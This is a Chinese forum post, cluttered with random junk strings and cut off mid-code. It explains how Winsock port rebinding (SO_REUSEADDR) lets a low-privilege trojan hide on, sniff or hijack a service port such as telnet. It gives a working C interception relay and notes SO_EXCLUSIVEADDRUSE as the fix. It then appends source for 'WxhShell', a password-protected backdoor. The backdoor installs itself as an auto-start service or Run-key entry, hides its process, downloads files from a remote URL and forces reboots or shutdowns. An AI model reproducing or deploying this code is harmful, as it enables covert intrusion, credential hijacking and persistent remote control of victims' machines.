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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o/9LK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r5da/*G/O  
z/&a\`DsU  
  saddr.sin_family = AF_INET; N z3%}6F:  
xXxh3 k\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g74z]Uj.B  
9f%y)[ \  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B"Kce"!  
I&fh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 po2[uJ  
`CEj 4  
  这意味着什么?意味着可以进行如下的攻击: =>z tBw\  
<CKmMZ{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OC>_=i$ '  
ytV)!xe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qM!f   
xm,`4WdG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V;hwAQbF  
[H:GKhPC`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z*9]:dG:!  
, 64t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R~5* #r@f  
]F* a PV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CndgfOF  
27 145  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;!JX-Jq  
fw|+7 O  
  #include oBNX8%5w  
  #include mV*/zWh_  
  #include 8u'O` j  
  #include    =6:L+ V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T<e7(=  
  int main() d:<H?~  
  { MjXE|3&  
  WORD wVersionRequested; hN_f h J  
  DWORD ret; hKZ`DB4  
  WSADATA wsaData; ,WB_C\.#XN  
  BOOL val; Z-h7  
  SOCKADDR_IN saddr; +5t bK  
  SOCKADDR_IN scaddr; 7Cd_zZ  
  int err; sId(PT^  
  SOCKET s; uQu/(5  
  SOCKET sc; >g>`!Sf  
  int caddsize; =GKS;d#/  
  HANDLE mt; MYw8wwX0kJ  
  DWORD tid;   0+<eRR9 -  
  wVersionRequested = MAKEWORD( 2, 2 ); 4o4 =  
  err = WSAStartup( wVersionRequested, &wsaData ); 4`U0">gY  
  if ( err != 0 ) { 24jtJC,7  
  printf("error!WSAStartup failed!\n"); o!toO&=  
  return -1; {`H<=h__  
  } M9s43XL(&  
  saddr.sin_family = AF_INET; I' ! r  
   $~,}yh;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]C ~1]7vb  
bH\C5zt6(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7*>S;$  
  saddr.sin_port = htons(23); :`Uyn!w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oO#xx)b  
  { mo;)0Vq2l  
  printf("error!socket failed!\n"); p>:ef<.i  
  return -1; G=Hf&l  
  } )b&-3$?  
  val = TRUE; GT'7,+<?N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zv|p>q`R2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 09 39i_  
  { hH1lgc  
  printf("error!setsockopt failed!\n"); EzIs@}  
  return -1; @ 2!C^}d3F  
  } .;HIEj zq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J}(6>iuQY?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;;?vgrz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ```d:f  
C1T=O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a4T~\\,dZ>  
  { ?AnjD8i  
  ret=GetLastError(); 2<'`^AO@  
  printf("error!bind failed!\n"); e`Co,>W/  
  return -1; ss`P QN  
  } -*|:v67C&  
  listen(s,2); /BMtcCPG!  
  while(1) ms}f>f=  
  { @GG(7r\/B  
  caddsize = sizeof(scaddr); /}w#Jk4pD  
  //接受连接请求 y7JZKtsFA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?Ml%$z@b?  
  if(sc!=INVALID_SOCKET) h@~:(:zU$  
  { Il{^ j6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [6; N3?+  
  if(mt==NULL) (S  k#x  
  { ]^:hyO K  
  printf("Thread Creat Failed!\n"); Re*|$r#  
  break; ,\o<y|+`S  
  } tx0Go'{  
  } WHUT/:?f  
  CloseHandle(mt); g/8.W  
  } )RwBg8  
  closesocket(s); Y5ogi )  
  WSACleanup(); iW|s|1mh3  
  return 0; kDzj%sm!  
  }   c[VrC+e m  
  DWORD WINAPI ClientThread(LPVOID lpParam) LY-lTr@A^  
  { }iilzE4oH#  
  SOCKET ss = (SOCKET)lpParam;  9<|m4  
  SOCKET sc; U_}7d"<| ?  
  unsigned char buf[4096]; B(j02<-  
  SOCKADDR_IN saddr; 8FzHNG  
  long num; ch@x]@-;A3  
  DWORD val; |JUe>E*  
  DWORD ret; >dpbCPJ9[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ag0]U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ph0ag+  
  saddr.sin_family = AF_INET; [kbC'Eh*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -IBO5;2_  
  saddr.sin_port = htons(23); x*.Ye 5Jb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y4mC_4EU  
  { % f2<U;ff  
  printf("error!socket failed!\n"); 8> UKIdp  
  return -1; Fr-[UZ~V  
  } :GQ UM6  
  val = 100; M h`CP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XQ]`&w(  
  { #gh p/YoTq  
  ret = GetLastError(); l8z%\p5cR  
  return -1; 6W5d7`A  
  } Lf >YdD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4s9c#nVlu  
  { z|ves&lRa  
  ret = GetLastError(); cDCJ]iDs  
  return -1; d,W/M(S  
  } ,I]7g4~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v btAq^1  
  { RCzV5g  
  printf("error!socket connect failed!\n"); P: n#S%  
  closesocket(sc); D7)(D4S4  
  closesocket(ss); B4Q79gEh=  
  return -1; KiQ(XNx  
  } q"S(7xWS  
  while(1) 9"~9hOEct  
  { (]2<?x*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )8;{nqoC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j"5Pe  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xw?CMA  
  num = recv(ss,buf,4096,0); J"-_{)0lD  
  if(num>0) R1}IeeZO?&  
  send(sc,buf,num,0); sltk@  
  else if(num==0) Nz~(+pVWg5  
  break; K<FKu $=  
  num = recv(sc,buf,4096,0); )o{VmXe@@  
  if(num>0) yVaUt_Zi  
  send(ss,buf,num,0); hp*<x4%*a"  
  else if(num==0) rJu[ N(2k  
  break; "Nbos.a]5  
  } Yv^p =-E  
  closesocket(ss); Gz ?2b#7v  
  closesocket(sc); L[rpb.'FG  
  return 0 ; @%c81rv?  
  } `\!X}xiWd  
[OzzL\)3l  
9qpU@V!  
========================================================== !#?8BwnaZ  
O}QFq14<+  
下边附上一个代码,,WXhSHELL Rp0|zP,5  
+P|2m"UA  
========================================================== ~ FGe ~  
D}w<84qX  
#include "stdafx.h" n12UBvc}%  
a5a1'IVq  
#include <stdio.h> !i^]UN   
#include <string.h> }qAVN  
#include <windows.h> L1wZU,o  
#include <winsock2.h> ibXe"X/_  
#include <winsvc.h> jeq:  
#include <urlmon.h> RX'-99M  
~b Rd)1  
#pragma comment (lib, "Ws2_32.lib") [(|^O>k8c  
#pragma comment (lib, "urlmon.lib") qIh #~  
GB>aT-G7q  
#define MAX_USER   100 // 最大客户端连接数 i}B;+0<drx  
#define BUF_SOCK   200 // sock buffer ]=x\b^  
#define KEY_BUFF   255 // 输入 buffer (= 9 wo  
hT'=VN  
#define REBOOT     0   // 重启 aVwH  
#define SHUTDOWN   1   // 关机 P/MM UmO  
~].ggcl`w  
#define DEF_PORT   5000 // 监听端口 sK&,):"]R  
X"j>=DEX  
#define REG_LEN     16   // 注册表键长度 kh3<V'k]  
#define SVC_LEN     80   // NT服务名长度 !2$ z *C2;  
%k2FPmA6  
// 从dll定义API dCeX}Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e0 u,zg+m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]9*;;4M g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `XW*kxpm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KXf<$\+zO  
^O)ve^P  
// wxhshell配置信息 mRwT_(;t  
struct WSCFG { ^P?vkO"pB?  
  int ws_port;         // 监听端口 WS:5MI,OL  
  char ws_passstr[REG_LEN]; // 口令 W`rMtzL5  
  int ws_autoins;       // 安装标记, 1=yes 0=no *"cD.)]#2  
  char ws_regname[REG_LEN]; // 注册表键名 XKqK<!F  
  char ws_svcname[REG_LEN]; // 服务名 MS*G-C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z19m@vMsIP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2+.18"rvi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *P!s{i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]CX[7Q+'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |CIC$2u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f@@s1gdb  
y\'P3ihK  
}; \~#WY5  
EB!daZH,  
// default Wxhshell configuration 7J|&U2}c  
struct WSCFG wscfg={DEF_PORT, |TTS?  
    "xuhuanlingzhe", X3wX`V}  
    1, 'e@=^FC  
    "Wxhshell", _dU8'H  
    "Wxhshell", 26L~X[F  
            "WxhShell Service", MR$>!Nlp  
    "Wrsky Windows CmdShell Service", J#Z5^)$  
    "Please Input Your Password: ", zE|Wn3_sd  
  1, c2*`2qK#  
  "http://www.wrsky.com/wxhshell.exe", j1q[c,  
  "Wxhshell.exe" /YH`4e5g  
    }; brSi<  
_U0$=V  
// 消息定义模块 {q3:Z{#>7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~e">_;k6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +th%enRB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bA@P}M)X  
char *msg_ws_ext="\n\rExit."; e;VIL 2|  
char *msg_ws_end="\n\rQuit."; Kesy2mE  
char *msg_ws_boot="\n\rReboot..."; s+Q;pRZW{  
char *msg_ws_poff="\n\rShutdown..."; " xR[mJ@U  
char *msg_ws_down="\n\rSave to "; *hdC?m. _  
<7XT\?%F  
char *msg_ws_err="\n\rErr!"; ,*Z.  
char *msg_ws_ok="\n\rOK!"; HjA_g0u  
p'f%%#I  
char ExeFile[MAX_PATH]; % /}WUP^H  
int nUser = 0; @hif$  
HANDLE handles[MAX_USER]; LA%bq_> f  
int OsIsNt; VK:8 Nk_y  
AIRr{Y  
SERVICE_STATUS       serviceStatus; 1J}8sG2`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y(a!YicA?  
eV7 u*d?  
// 函数声明 ;%!B[+ut"  
int Install(void); DCQ^fZ/  
int Uninstall(void); Q@-ovuxi  
int DownloadFile(char *sURL, SOCKET wsh); XK A pLz  
int Boot(int flag); > cN~U3  
void HideProc(void); VDGCWg6z  
int GetOsVer(void); "i&"* ~  
int Wxhshell(SOCKET wsl); u~1o(Zn =  
void TalkWithClient(void *cs); oVOm_N  
int CmdShell(SOCKET sock); EJ84rSp  
int StartFromService(void); +4qU>  
int StartWxhshell(LPSTR lpCmdLine); ZA(T  
:I1_X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g{:<2xI5P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RJ4. kt  
PRB{VC<k  
// 数据结构和表定义 wy,p&g)>  
SERVICE_TABLE_ENTRY DispatchTable[] = )ev<7g9*q  
{ )]43R   
{wscfg.ws_svcname, NTServiceMain}, 7~1IO|4t  
{NULL, NULL} v [njdP  
}; r0]4=6U  
(%_n!ip^  
// 自我安装 TDtAmk  
int Install(void) nFRsc'VT  
{ :5fAPK2r<  
  char svExeFile[MAX_PATH]; l2jF#<S@  
  HKEY key; ihCIh6  
  strcpy(svExeFile,ExeFile); !CUoHTmB  
TsQU6NNE  
// 如果是win9x系统,修改注册表设为自启动 nV_8Ke  
if(!OsIsNt) { d3;qsUh$yv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x=Hndx^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q.U$nph\%d  
  RegCloseKey(key); P\nC?!Q%c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "xJ0 vlw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %9v@0}5V  
  RegCloseKey(key); <Fz~7WVd  
  return 0; (C;I*cv  
    } HQP}w%8x  
  }  vZj`|  
} \G |%Zw|  
else { v(]]_h  
.dMVoG5  
// 如果是NT以上系统,安装为系统服务 :9t4s#.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a->3`c  
if (schSCManager!=0) XT>.`, sv  
{ lB91An  
  SC_HANDLE schService = CreateService ~lAKJs#{  
  ( E:`v+S_h  
  schSCManager, %@"!8Y(j  
  wscfg.ws_svcname, ]D 2u deg  
  wscfg.ws_svcdisp, jE2}p-2Q0  
  SERVICE_ALL_ACCESS, kgdT7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R(Kk{c:-@  
  SERVICE_AUTO_START, IiBD?}  
  SERVICE_ERROR_NORMAL, q`NXJf=sc  
  svExeFile, {'En\e  
  NULL, Q]/Uq~m C  
  NULL, cD|Htt"  
  NULL, M<PIeKIEB  
  NULL, "KX=ow#z|  
  NULL IuF_M<d,  
  ); Nes=;%&]G  
  if (schService!=0) _PFnh)o  
  { mLV[uhq   
  CloseServiceHandle(schService); )0 W`  
  CloseServiceHandle(schSCManager); aUHcYc\u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PxS4,`#~  
  strcat(svExeFile,wscfg.ws_svcname); 8I;XS14Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uw(NG.4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &fa5laJb  
  RegCloseKey(key); 7CXW#H  
  return 0; C'yppl%  
    } }Ew hj>w  
  } j^tW Iz  
  CloseServiceHandle(schSCManager); 39wa|:I  
} Vwk#qgnX  
} %UUH"  
9^FziM  
return 1; 5irwz4.4  
} FGWN}&K  
94sk kEj  
// 自我卸载 CI U1R;  
int Uninstall(void) \s"U{N-  
{ 4(6b(]G'#  
  HKEY key; P O :"B6  
W14F  
if(!OsIsNt) { ,GWNL m\5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k3?rp`V1  
  RegDeleteValue(key,wscfg.ws_regname); ;W>Cqg=  
  RegCloseKey(key); c~QS9)=E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OU5*9_7.  
  RegDeleteValue(key,wscfg.ws_regname); 3 >E%e!D%  
  RegCloseKey(key); W[EKD 7  
  return 0; ~x#w<0e>  
  } Q+4tIrd+  
} lif&@o f  
} jls-@Wl  
else { akw,P$i  
rc&%m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <)+y=m\eJ  
if (schSCManager!=0) `.s({/|[  
{ v8AS=sY4r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "&Po,AWa  
  if (schService!=0) 2'=T[<nNB  
  { =X.LA%Sf=u  
  if(DeleteService(schService)!=0) { Z{&cuo.@<]  
  CloseServiceHandle(schService); T~Q JO0  
  CloseServiceHandle(schSCManager); 24 1*!  
  return 0; C8FB:JNJV  
  } __mF ?m  
  CloseServiceHandle(schService); (/35p g6\  
  } @gY)8xMbA  
  CloseServiceHandle(schSCManager);  V#VN %{  
} 7{&|;U  
} &0f5:M{P  
%v20~xW :o  
return 1; 9z6XF]A  
} y;/VB,4V  
(o3 Iy  
// 从指定url下载文件 jKt7M>P  
int DownloadFile(char *sURL, SOCKET wsh) l;o1 d-n]  
{ (#+^&1  
  HRESULT hr; 6@DF  
char seps[]= "/"; /Q,mJ.CnSR  
char *token; J:V?EE,\-  
char *file; jy-{~xdg[  
char myURL[MAX_PATH]; >/|q:b^2r  
char myFILE[MAX_PATH]; /SYw;<=  
x.S3Zi}=  
strcpy(myURL,sURL); M4as  
  token=strtok(myURL,seps); f^W;A"+  
  while(token!=NULL) 9 (QJT}qC  
  { j?'GZ d"B  
    file=token; .Wjs~0c  
  token=strtok(NULL,seps); H;RwO@v  
  } "AE5 V'  
Omd .9  
GetCurrentDirectory(MAX_PATH,myFILE); ]+X@ 7  
strcat(myFILE, "\\"); t.mVO]dsj  
strcat(myFILE, file); -GxaV #{  
  send(wsh,myFILE,strlen(myFILE),0); B}^w_C2  
send(wsh,"...",3,0); Hh+ 2mkg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AK@9?_D  
  if(hr==S_OK) c/sC&i;%O  
return 0; dAuJXGo  
else p5G?N(l  
return 1; S]+ :{9d  
K6R.@BMN  
} 41&\mx  
p, #o<W  
// 系统电源模块 P&f7@MOV.P  
int Boot(int flag) J{Q|mD=  
{ ~@}Bi@*  
  HANDLE hToken; eio 4k-  
  TOKEN_PRIVILEGES tkp; B {>7-0  
ZHa"isl$e  
  if(OsIsNt) { <Y}R#o1Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wb0L.'jyR)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1y}Y9mlD.  
    tkp.PrivilegeCount = 1; {;2PL^i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zu7)gf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kGl~GOB a  
if(flag==REBOOT) { Hj}K{20  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 sX+~Q  
  return 0; vam;4vyu  
} 5aCgjA11  
else { ?` ?)QE8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  094o'k  
  return 0; *WuID2cOI  
} %KLpig  
  } 2Wdyxj Q  
  else { 7<*yS310  
if(flag==REBOOT) { +~p88;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -qGa]a  
  return 0; m^zUmrj[  
} +L;e^#>d  
else { J\b^)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u ,KD4{!  
  return 0; ?{ryGhb~  
} p>huRp^w  
} h'{ C[d  
x<ZJb  
return 1; Te[n,\Nb  
} XuFYYx~ ^3  
cz8T  
// win9x进程隐藏模块 p^w;kN  
void HideProc(void) lN Yt`xp  
{ $| @ (  
ZpQ)IHA.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EFM5,gB.m  
  if ( hKernel != NULL ) YpVD2.jy  
  { T{-CkHf9Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~UP[A'9jJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A PEE ~  
    FreeLibrary(hKernel); \XZ/v*d0  
  } "~|6tQLc  
gi1^3R[  
return; .[ICx  
} RMdk:YvBg  
.(cw>7e3D  
// 获取操作系统版本 [_EZhq  
int GetOsVer(void) m+]K;}.}R  
{ X aMJDa|M  
  OSVERSIONINFO winfo; e w$ B)W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); , s"^kFl  
  GetVersionEx(&winfo); N2;B-UF 7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f6&iy$@   
  return 1; 0Qf,@^zL*  
  else P/W XaE4  
  return 0; [M=7M}f;  
} ig/xv  
cK(C&NK  
// 客户端句柄模块 GjvOM y  
int Wxhshell(SOCKET wsl) Jdj2~pTq  
{ I&x=;   
  SOCKET wsh; R {SF(g3  
  struct sockaddr_in client; iv J@=pd)B  
  DWORD myID; |v 3T!  
vdc\R?  
  while(nUser<MAX_USER) gCB |DY  
{ x??+~$}\*-  
  int nSize=sizeof(client); |ATvS2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -cAo@}v  
  if(wsh==INVALID_SOCKET) return 1; _@ qjV~%Sy  
286jI7T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pmyXLT  
if(handles[nUser]==0) 2K/4Rf0;  
  closesocket(wsh); L [pBB  
else 4V)kx[j  
  nUser++; TNe l/   
  } KJ)k =mJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,is3&9  
S%Uutj\/W  
  return 0; &5B'nk"  
} 2} /aFR  
3 /g~A{  
// 关闭 socket (c=6yV@  
void CloseIt(SOCKET wsh) \ C+~m  
{ 1#< '&Lr  
closesocket(wsh); 7x|9n  
nUser--;  UD2C>1j  
ExitThread(0); dy%;W%  
} B9jC?I |`  
vc;$-v$&  
// 客户端请求句柄 B" 1c  
void TalkWithClient(void *cs) yg<R=$n,Q  
{ rr],DGg+B]  
0d)M\lG  
  SOCKET wsh=(SOCKET)cs; IL#"~D?  
  char pwd[SVC_LEN]; wDal5GJp  
  char cmd[KEY_BUFF]; l[0RgO*S  
char chr[1]; k8&;lgO '  
int i,j; HdUQCugxx:  
|"8b_Cq{  
  while (nUser < MAX_USER) { X9W@&zQ  
]8_NZHld  
if(wscfg.ws_passstr) { 5H<m$K4z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ )Iv^ U9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hw}Xbp[y  
  //ZeroMemory(pwd,KEY_BUFF); ?jv/TBZX4  
      i=0; 8mvy\l EEH  
  while(i<SVC_LEN) { K7_UP&`=J  
5y.WMNNv{  
  // 设置超时  MzdV2.  
  fd_set FdRead; & p  
  struct timeval TimeOut; /|6N*>l)y  
  FD_ZERO(&FdRead); /$Nsd  
  FD_SET(wsh,&FdRead); 3w*R&  
  TimeOut.tv_sec=8; 2j [=\K]  
  TimeOut.tv_usec=0; JzQ_{J`k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6,8h]?u.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )4e.k$X^  
vtg !8u4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x}Eg.S  
  pwd=chr[0]; {T$9?`h~M  
  if(chr[0]==0xd || chr[0]==0xa) { v!~fs)cdE|  
  pwd=0; G:<aB  
  break; 'x#~'v*  
  } f643#1  
  i++; {I%cx Q#y  
    } {H>gtpVy  
@1roe G  
  // 如果是非法用户,关闭 socket pK>N-/?a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XJ;57n-?  
} X]TG<r  
Tv,[DI +  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O3,jg |,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQF| a\M'  
2~)`N>@  
while(1) { &-)N'  
0*3R=7_},o  
  ZeroMemory(cmd,KEY_BUFF); /l ~p=PK  
Cv.C;H  
      // 自动支持客户端 telnet标准   lfow1WRF  
  j=0; E4jNA }3k+  
  while(j<KEY_BUFF) { vH@ds k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2*& ^v  
  cmd[j]=chr[0]; vm8eZG|  
  if(chr[0]==0xa || chr[0]==0xd) {  ?(1 y  
  cmd[j]=0; `g=J%p  
  break; 6xx ?A>:  
  } 6P l<'3&  
  j++; 3qC}0CP*  
    } Gx/Oi)&/  
>y7?-*0  
  // 下载文件 ~,Zc%s~|  
  if(strstr(cmd,"http://")) { +Mb.:_7'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dFB]~QEK  
  if(DownloadFile(cmd,wsh)) GR_-9}jQP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (mpNcOY<D  
  else l ukB8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=:9+z  
  } x=P\qjSa  
  else { By!o3}~g  
m+[Ux{$  
    switch(cmd[0]) { VscE^'+  
  C ;W"wBz9  
  // 帮助 &K#M*B ,*p  
  case '?': { IM'r8 V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  =j]<t  
    break; oJz^|dW  
  } \!ZTL1b8t  
  // 安装 JX;G<lev  
  case 'i': { QA`sx  
    if(Install()) aeJHMHFc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YK'<NE3 4  
    else n b?l TX~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|70;  
    break; |0b`fOS  
    } i[3'ec3  
  // 卸载 [}=B8#Jl-C  
  case 'r': { e X|m  
    if(Uninstall()) AQvudx)@"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6A-|[(NS  
    else /W<;Z;zk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jV1.Yz (`  
    break; EV%gF   
    } R&k<AZ  
  // 显示 wxhshell 所在路径 \Gvm9M  
  case 'p': { 8Fu(Ft^9  
    char svExeFile[MAX_PATH]; "<1{9  
    strcpy(svExeFile,"\n\r"); YjKxb9  
      strcat(svExeFile,ExeFile); }&J q}j  
        send(wsh,svExeFile,strlen(svExeFile),0); :crW9+  
    break; 0'C1YvF  
    } 0S!K{xyR  
  // 重启 k?^z;Tlvw  
  case 'b': { $%#!bV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (uE!+2C  
    if(Boot(REBOOT)) ]2KihP8z x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S4z;7z(8+  
    else { Why`ziks  
    closesocket(wsh); p_%Rt"!  
    ExitThread(0); 8(~ h"]`!  
    } %dVZ0dl  
    break; H<,gU`&R  
    } $'M!HJxb  
  // 关机 iqWQ!r^  
  case 'd': { on `3&0,.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6LIJ Q  
    if(Boot(SHUTDOWN)) HIZe0%WPw  
